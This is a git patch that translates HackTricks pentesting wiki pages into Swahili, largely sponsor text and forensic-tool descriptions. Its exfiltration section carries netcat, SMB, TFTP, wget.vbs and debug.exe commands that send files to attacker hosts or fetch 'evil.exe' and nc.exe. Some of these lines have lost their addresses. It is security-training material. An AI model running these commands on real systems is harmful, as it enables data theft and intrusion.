From 39f662f68eedea050fbf3f6d532ffe40b17a3533 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Mar 2024 23:40:07 +0000 Subject: [PATCH] Translated ['README.md', 'forensics/basic-forensic-methodology/partition --- README.md | 65 ++-- .../file-data-carving-recovery-tools.md | 48 ++- .../exfiltration.md | 96 +++-- .../wide-source-code-search.md | 52 ++- .../python/bypass-python-sandboxes/README.md | 126 +++--- .../shells/linux.md | 67 ++-- .../shells/windows.md | 72 ++-- .../tunneling-and-port-forwarding.md | 358 +++++------------- .../linux-environment-variables.md | 118 +++--- .../android-applications-basics.md | 163 ++++---- .../android-task-hijacking.md | 40 +- .../make-apk-accept-ca-certificate.md | 32 +- mobile-pentesting/android-checklist.md | 46 ++- mobile-pentesting/ios-pentesting-checklist.md | 134 ++++--- .../43-pentesting-whois.md | 43 ++- .../49-pentesting-tacacs+.md | 59 +-- .../7-tcp-udp-pentesting-echo.md | 64 ++-- .../ipsec-ike-vpn-pentesting.md | 104 ++--- .../pentesting-ftp/README.md | 96 +++-- .../pentesting-ftp/ftp-bounce-attack.md | 50 ++- .../pentesting-imap.md | 42 +- .../README.md | 90 +++-- network-services-pentesting/pentesting-pop.md | 70 +++- .../pentesting-smb/rpcclient-enumeration.md | 56 +-- .../pentesting-web/php-tricks-esp/php-ssrf.md | 27 +- .../pentesting-web/tomcat.md | 74 ++-- .../tomcat/basic-tomcat-info.md | 42 +- pentesting-web/bypass-payment-process.md | 49 ++- ...g-and-directory-interface-and-log4shell.md | 169 +++++---- pentesting-web/h2c-smuggling.md | 75 ++-- pentesting-web/hacking-with-cookies/README.md | 181 +++++---- .../cloud-ssrf.md | 52 +-- .../url-format-bypass.md | 40 +- .../xs-search/css-injection/README.md | 279 +++++++------- .../abusing-service-workers.md | 54 ++- reversing/common-api-used-in-malware.md | 78 ++-- .../reversing-tools-basic-methods/README.md | 142 +++---- stego/stego-tricks.md | 62 +-- todo/radio-hacking/flipper-zero/README.md | 34 +- todo/radio-hacking/flipper-zero/fz-sub-ghz.md | 70 +++- todo/radio-hacking/proxmark-3.md | 47 ++- .../checklist-windows-privilege-escalation.md | 121 +++--- .../lateral-movement/dcom-exec.md | 46 ++- 43 files changed, 2090 insertions(+), 1643 deletions(-) diff --git a/README.md b/README.md index 5d0fbb376..d88cb7545 100644 --- a/README.md +++ b/README.md @@ -2,41 +2,40 @@
-_Majina na muundo wa Hacktricks umetengenezwa na_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Majina na muundo wa Hacktricks uliundwa na_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ {% hint style="success" %} -**Karibu kwenye wiki ambapo utapata kila mbinu ya kudukua/kiufundi/chochote nilichojifunza kutoka kwenye CTFs, programu za maisha halisi, kusoma utafiti, na habari.** +**Karibu kwenye wiki ambapo utapata kila mbinu ya kudukua/kiufundi/chochote nilichojifunza kutoka kwa CTFs, programu za maisha halisi, kusoma utafiti, na habari.** {% endhint %} -Ili kuanza fuata ukurasa huu ambapo utapata **mtiririko wa kawaida** ambao **unapaswa kufuata wakati wa kupima usalama** wa moja au zaidi **mashine:** +Ili kuanza, fuata ukurasa huu ambapo utapata **mtiririko wa kawaida** ambao **unapaswa kufuata wakati wa kufanya upimaji wa kuingilia** kwenye **mashine moja au zaidi:** {% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %} [pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md) {% endcontent-ref %} -## Wadhamini wa Platinum - -_Kampuni yako inaweza kuwa hapa._ - ## Wadhamini wa Kampuni ### [STM Cyber](https://www.stmcyber.com)
-[**STM Cyber**](https://www.stmcyber.com) ni kampuni kubwa ya usalama wa mtandao ambayo kauli yao mbiu ni **KUDUKUA LISILOWEZEKANA**. Wanafanya utafiti wao wenyewe na kutengeneza zana zao za kudukua ili **kutoa huduma muhimu za usalama wa mtandao** kama kupima usalama, Timu Nyekundu na mafunzo. +[**STM Cyber**](https://www.stmcyber.com) ni kampuni kubwa ya usalama wa mtandao ambayo kauli yao mbiu ni **KUDUKUA LISILOWEZEKANA**. Wao hufanya utafiti wao wenyewe na kutengeneza zana zao za kudukua ili **kutoa huduma muhimu za usalama wa mtandao** kama upimaji wa kuingilia, Timu Nyekundu na mafunzo. Unaweza kuangalia **blogi** yao kwenye [**https://blog.stmcyber.com**](https://blog.stmcyber.com) -**STM Cyber** pia inasaidia miradi ya chanzo wazi ya usalama wa mtandao kama HackTricks :) +**STM Cyber** pia hutoa msaada kwa miradi ya chanzo wazi ya usalama wa mtandao kama HackTricks :) + +*** ### [RootedCON](https://www.rootedcon.com/)
-[**RootedCON**](https://www.rootedcon.com) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa ** lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu. +[**RootedCON**](https://www.rootedcon.com) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa lengo la kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu. {% embed url="https://www.rootedcon.com/" %} +*** ### [Intigriti](https://www.intigriti.com) @@ -44,35 +43,39 @@ Unaweza kuangalia **blogi** yao kwenye [**https://blog.stmcyber.com**](https://b **Intigriti** ni jukwaa la kwanza la kudukua kimaadili barani Ulaya na **bug bounty.** -**Mbinu ya bug bounty**: **jiandikishe** kwa **Intigriti**, jukwaa la **bug bounty la malipo ya juu lililoundwa na wadukuzi, kwa wadukuzi**! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata zawadi hadi **$100,000**! +**Mbinu ya Bug bounty**: **jiandikishe** kwa **Intigriti**, jukwaa la **bug bounty la malipo la juu lililoanzishwa na wadukuzi, kwa wadukuzi**! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata zawadi hadi **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} +*** + ### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
\ -Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia mifumo ya kazi** kwa kutumia zana za jamii za **juu zaidi** duniani. +Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia mifumo ya kazi** iliyosukumwa na zana za jamii za **juu zaidi** duniani. Pata Ufikiaji Leo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +*** + ### [HACKENPROOF](https://bit.ly/3xrrDrL)
-Jiunge na seva ya [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa bug bounty! +Jiunge na seva ya [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa zawadi za bug! **Machapisho ya Kudukua**\ -Shiriki na yaliyomo yanayochimba kina katika msisimko na changamoto za kudukua +Shiriki na yaliyomo yanayochimba katika msisimko na changamoto za kudukua **Habari za Kudukua za Wakati Halisi**\ -Kaa sasa na ulimwengu wa kudukua unaobadilika haraka kupitia habari na ufahamu wa wakati halisi +Kaa sasa na ulimwengu wa kudukua wenye haraka kupitia habari na ufahamu wa wakati halisi **Matangazo Mapya**\ -Baki mwelekezwa na bug bounty mpya zinazoanzishwa na sasisho muhimu za jukwaa +Baki mwelekezi na zawadi mpya za bug zinazoanzishwa na sasisho muhimu za jukwaa **Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo! @@ -82,27 +85,37 @@ Baki mwelekezwa na bug bounty mpya zinazoanzishwa na sasisho muhimu za jukwaa
-**Usanidi wa papo hapo wa upimaji wa udhaifu & upimaji wa kuingilia**. Tekeleza upimaji kamili kutoka mahali popote na zana na vipengele zaidi ya 20 vinavyoenda kutoka uchunguzi hadi ripoti. Hatuchukui nafasi ya wapimaji wa kuingilia - tunatengeneza zana za desturi, ugunduzi & moduli za kutumia ili kuwarudishia muda wa kuchimba kina, kuvunja ganda, na kufurahi. +**Usanidi wa papo hapo kwa tathmini ya udhaifu & upimaji wa kuingilia**. Tekeleza upimaji kamili kutoka mahali popote na zana na vipengele zaidi ya 20 vinavyoanzia uchunguzi hadi ripoti. Hatuchukui nafasi ya wapimaji wa kuingilia - tunatengeneza zana za desturi, ugunduzi & moduli za kutumia ili kuwarudishia muda wa kuchimba kwa kina, kuvunja makompyuta, na kufurahi. {% embed url="https://pentest-tools.com/" %} +*** + +### [Kikundi cha Usalama cha Try Hard](https://discord.gg/tryhardsecurity) + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ### [WebSec](https://websec.nl/)
-[**WebSec**](https://websec.nl) ni kampuni ya usalama wa mtandao ya kitaalamu iliyoanzishwa huko **Amsterdam** ambayo husaidia **kulinda** biashara **kote ulimwenguni** dhidi ya vitisho vipya vya usalama wa mtandao kwa kutoa huduma za **usalama wa kushambulia** kwa njia **ya kisasa**. +[**WebSec**](https://websec.nl) ni kampuni ya usalama wa mtandao ya kitaalamu iliyoanzishwa huko **Amsterdam** ambayo husaidia **kulinda** biashara **ulimwenguni kote** dhidi ya vitisho vya usalama wa mtandao vya hivi karibuni kwa kutoa huduma za **usalama wa kuingilia** kwa njia **ya kisasa**. -WebSec ni **kampuni ya usalama ya kila kitu mmoja** ambayo inamaanisha wanafanya yote; Kudukua, Ukaguzi wa Usalama, Mafunzo ya Uelewa, Kampeni za Udukuzi, Ukaguzi wa Kanuni, Maendeleo ya Udukuzi, Kutoa Wataalam wa Usalama na mengi zaidi. +WebSec ni **kampuni ya usalama ya kila kitu mmoja** ambayo inamaanisha wanafanya yote; Upimaji wa Kuingilia, Ukaguzi wa Usalama, Mafunzo ya Uelewa, Kampeni za Udukuzi, Ukaguzi wa Nambari, Maendeleo ya Udukuzi, Kutuma Wataalamu wa Usalama na mengi zaidi. -Jambo lingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa tasnia WebSec ni **imara sana katika ujuzi wao**, kwa kiwango ambacho **wanahakikisha matokeo bora zaidi**, inasemwa kwenye tovuti yao "**Ikiwa hatuwezi kudukua, Hulipi!**". Kwa habari zaidi angalia [**tovuti**](https://websec.nl/en/) yao na [**blogi**](https://websec.nl/blog/)! +Jambo lingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa tasnia, WebSec ni **imara sana katika ujuzi wao**, kwa kiwango kwamba **wanahakikisha matokeo bora zaidi**, inasemwa kwenye tovuti yao "**Ikiwa hatuwezi kudukua, Hulipi!**". Kwa habari zaidi angalia [**tovuti**](https://websec.nl/en/) na [**blogi**](https://websec.nl/blog/) yao! -Mbali na hayo WebSec pia ni **msaidizi aliyejitolea wa HackTricks.** +Mbali na hayo, WebSec pia ni **mchangiaji aliyejitolea wa HackTricks.** {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} ## Leseni & Taarifa ya Kisheria -**Ziangalie:** +**Ziangalie hapa:** {% content-ref url="welcome/hacktricks-values-and-faq.md" %} [hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md) @@ -110,14 +123,14 @@ Mbali na hayo WebSec pia ni **msaidizi aliyejitolea wa HackTricks.**
-Jifunze kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)! +* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 30c33f962..d116d9e6a 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -2,25 +2,33 @@
-Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ## Zana za Kuchonga na Kurejesha Zana zaidi kwenye [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -Zana inayotumiwa sana katika uchunguzi wa kiforensiki kutoa faili kutoka kwa picha ni [**Autopsy**](https://www.autopsy.com/download/). Pakua, isakinishe na ifanye iingize faili ili kupata faili "zilizofichwa". Kumbuka kwamba Autopsy imejengwa kusaidia picha za diski na aina zingine za picha, lakini sio faili za kawaida. +Zana ya kawaida sana kutumika katika uchunguzi wa kiforensiki kutoa faili kutoka kwa picha ni [**Autopsy**](https://www.autopsy.com/download/). Pakua, isakinishe na ifanye iingize faili ili kupata faili "zilizofichwa". Kumbuka kwamba Autopsy imejengwa kusaidia picha za diski na aina zingine za picha, lakini sio faili za kawaida. ### Binwalk @@ -35,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ### Foremost -Chombo kingine cha kawaida cha kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi wa foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta baadhi ya faili maalum, toa alama ya maoni kwao. Ikiwa hutotoa alama ya maoni kwa kitu chochote, foremost itatafuta aina zake za faili zilizosanidiwa kwa msingi. +Chombo kingine cha kawaida cha kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi wa foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta baadhi ya faili maalum, toa alama ya mstari. Ikiwa hutotoa alama yoyote, foremost itatafuta aina zake za faili zilizosanidiwa kwa msingi. ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -43,7 +51,7 @@ foremost -v -i file.img -o output ``` ### **Scalpel** -**Scalpel** ni chombo kingine kinachoweza kutumika kutafuta na kutoa **faili zilizojumuishwa katika faili**. Katika kesi hii, utahitaji kufuta maoni kutoka kwenye faili ya usanidi (_/etc/scalpel/scalpel.conf_) aina za faili unazotaka izichimbue. +**Scalpel** ni chombo kingine kinachoweza kutumika kutafuta na kutoa **faili zilizowekwa ndani ya faili**. Katika kesi hii, utahitaji kufuta maoni kutoka kwenye faili ya usanidi (_/etc/scalpel/scalpel.conf_) aina za faili unazotaka izitoa. ```bash sudo apt-get install scalpel scalpel file.img -o output @@ -56,7 +64,7 @@ Herramienta hii inaweza kutafuta picha na **kutoa pcaps** ndani yake, **taarifa ``` bulk_extractor memory.img -o out_folder ``` -Pitia **maelezo yote** ambayo chombo kimekusanya (nywila?), **chambua** **pakiti** (soma [**Uchambuzi wa Pcaps**](../pcap-inspection/)), tafuta **vikoa vya ajabu** (vikoa vinavyohusiana na **programu hasidi** au **visivyokuwepo**). +Pitia **maelezo yote** ambayo chombo kimekusanya (maneno ya siri?), **chambua** **pakiti** (soma [**Uchambuzi wa Pcaps**](../pcap-inspection/)), tafuta **vikoa vya ajabu** (vikoa vinavyohusiana na **programu hasidi** au **visivyokuwepo**). ### PhotoRec @@ -72,18 +80,18 @@ Angalia [mimba](https://code.google.com/archive/p/binvis/) na [zana ya ukurasa w #### Sifa za BinVis -* Mwangaza wa **muonekano wa muundo** na shughuli -* Grafu nyingi kwa pointi tofauti za kuzingatia +* Mwonekano wa **muundo** wa kipekee +* Grafu nyingi kwa maeneo tofauti ya kuzingatia * Kuzingatia sehemu za sampuli * **Kuona maneno na rasilimali**, katika utekelezaji wa PE au ELF kwa mfano -* Kupata **mifumo** kwa cryptanalysis kwenye faili -* **Kutambua** pakiti au algorithm za kufunga -* **Kutambua** Steganografia kwa mifumo -* **Mwangaza** wa tofauti za binary +* Kupata **mifano** kwa cryptanalysis kwenye faili +* **Kugundua** pakiti au algorithm za encoder +* **Tambua** Steganografia kwa mifano +* **Mwonekano** wa tofauti za binary -BinVis ni **mahali pazuri pa kuanzia ili kuzoea lengo lisilojulikana** katika hali ya sanduku jeusi. +BinVis ni **mahali pazuri pa kuanzia ili kuzoea lengo lisilojulikana** katika hali ya black-boxing. -## Vyombo Maalum vya Ukataji wa Data +## Vyombo Maalum vya Kuchonga Data ### FindAES @@ -96,16 +104,22 @@ Pakua [hapa](https://sourceforge.net/projects/findaes/). Unaweza kutumia [**viu** ](https://github.com/atanunq/viu)kuona picha kutoka kwenye terminal.\ Unaweza kutumia zana ya mstari wa amri ya linux **pdftotext** kubadilisha pdf kuwa maandishi na kusoma. +**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} +
-Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi kuwa shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee -* **Jiunge na** 💬 **kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/generic-methodologies-and-resources/exfiltration.md b/generic-methodologies-and-resources/exfiltration.md index ce6811b68..645d000c5 100644 --- a/generic-methodologies-and-resources/exfiltration.md +++ b/generic-methodologies-and-resources/exfiltration.md @@ -8,17 +8,25 @@ Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. -## Vyanzo vya kawaida vilivyowekewa orodha nyeupe kwa ajili ya kufyonza taarifa +**Kikundi cha Usalama cha Kujitahidi Kwa Bidii** -Angalia [https://lots-project.com/](https://lots-project.com/) ili kupata vyanzo vya kawaida vilivyowekewa orodha nyeupe ambavyo vinaweza kutumiwa vibaya +
-## Nakili\&Banda la Msingi64 +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + +## Vyanzo vya kawaida vilivyoorodheshwa kwa ajili ya kufyonza taarifa + +Angalia [https://lots-project.com/](https://lots-project.com/) kupata vyanzo vya kawaida vilivyoorodheshwa ambavyo vinaweza kutumiwa vibaya + +## Nakili\&Banda la Msingi wa 64 **Linux** ```bash @@ -179,29 +187,25 @@ service smbd restart ``` ### Exfiltration Techniques on Windows -#### Common Exfiltration Techniques +#### Clipboard -1. **Data Compression**: Compress data before exfiltration to reduce size and avoid detection. -2. **Data Encryption**: Encrypt data to prevent unauthorized access during exfiltration. -3. **Steganography**: Hide data within other files to avoid detection. -4. **DNS Tunneling**: Use DNS protocol to exfiltrate data, bypassing firewalls. -5. **HTTP/HTTPS**: Use HTTP or HTTPS protocols to exfiltrate data over network. -6. **Email**: Send data as email attachments or within email body. -7. **Cloud Storage**: Upload data to cloud storage services for exfiltration. -8. **External Storage**: Copy data to external storage devices for physical exfiltration. +The clipboard can be used to exfiltrate data by copying sensitive information and pasting it into a file or application on the attacker's system. -#### Tools and Resources +#### File Transfer Protocols -- **Netcat**: Command-line tool for reading and writing data across network connections. -- **PowerShell**: Windows scripting tool that can be used for exfiltration. -- **Covenant**: .NET command and control framework for exfiltration. -- **Empire**: Post-exploitation framework for exfiltration on Windows systems. -- **Mimikatz**: Tool to extract credentials from Windows systems for exfiltration. -- **PsExec**: Command-line tool to execute processes on remote systems for exfiltration. -- **Certutil**: Built-in Windows utility to decode/encode data for exfiltration. -- **Bitsadmin**: Built-in Windows utility to create and manage transfer jobs for exfiltration. +File transfer protocols such as FTP, SFTP, and SMB can be used to transfer files containing sensitive data from the compromised system to the attacker's system. -By using these techniques and tools, attackers can exfiltrate data from Windows systems without being detected easily. +#### Email + +Email can be used to exfiltrate data by sending emails with attachments containing sensitive information to an email account controlled by the attacker. + +#### DNS Tunneling + +DNS tunneling can be used to exfiltrate data by encoding sensitive information in DNS queries and responses. + +#### Web Protocols + +Web protocols such as HTTP and HTTPS can be used to exfiltrate data by sending HTTP requests containing sensitive information to a web server controlled by the attacker. ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -225,11 +229,26 @@ sudo sshfs -o allow_other,default_permissions @ new_file nc -vn 4444 < exfil_file @@ -270,13 +289,13 @@ sniff(iface="tun0", prn=process_packet) ``` ## **SMTP** -Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP ya kupokea data na python: +Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP ya kupokea data kwa kutumia python: ```bash sudo python -m smtpd -n -c DebuggingServer :25 ``` ## TFTP -Kwa chaguo-msingi katika XP na 2003 (katika mingine inahitaji kuongezwa wazi wakati wa usakinishaji) +Kwa chaguo-msingi katika XP na 2003 (katika nyingine inahitaji kuongezwa wazi wakati wa usakinishaji) Katika Kali, **anzisha seva ya TFTP**: ```bash @@ -285,12 +304,12 @@ mkdir /tftp atftpd --daemon --port 69 /tftp cp /path/tp/nc.exe /tftp ``` -**Server ya TFTP kwa kutumia python:** +**Server ya TFTP kwa python:** ```bash pip install ptftpd ptftpd -p 69 tap0 . # ptftp -p ``` -Katika **mwenyeji**, unganisha kwenye seva ya Kali: +Katika **mwendazake**, unganisha kwenye seva ya Kali: ```bash tftp -i get nc.exe ``` @@ -302,7 +321,7 @@ echo " python -m SimpleHTTPServer 80 ``` @@ -340,14 +359,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe -Programu ya `debug.exe` sio tu inaruhusu ukaguzi wa binaries lakini pia ina **uwezo wa kujenga upya kutoka kwa hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuzalisha faili ya binary. Hata hivyo, ni muhimu kuzingatia kwamba debug.exe ina **kizuizi cha kuunda faili hadi 64 kb in size**. +Programu ya `debug.exe` sio tu inaruhusu ukaguzi wa binaries lakini pia ina **uwezo wa kujenga upya kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuzalisha faili ya binary. Hata hivyo, ni muhimu kutambua kwamba debug.exe ina **kizuizi cha kuunda faili hadi 64 kb in size**. ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` -```sw -Kisha nakili na kubandika maandishi kwenye windows-shell na faili inayoitwa nc.exe itaundwa. +Kisha nakili na ushirikishe maudhui kwenye windows-shell na faili inayoitwa nc.exe itaundwa. * [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) @@ -355,10 +373,15 @@ Kisha nakili na kubandika maandishi kwenye windows-shell na faili inayoitwa nc.e * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) +**Kikundi cha Usalama cha Kujaribu Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %}
-Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: @@ -366,7 +389,6 @@ Njia nyingine za kusaidia HackTricks: * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-``` diff --git a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index 6197170d4..08bd0618e 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -1,43 +1,57 @@ -# Utafutaji Mpana wa Msimbo wa Chanzo +# Kutafuta Msimbo wa Chanzo Kwa Upana
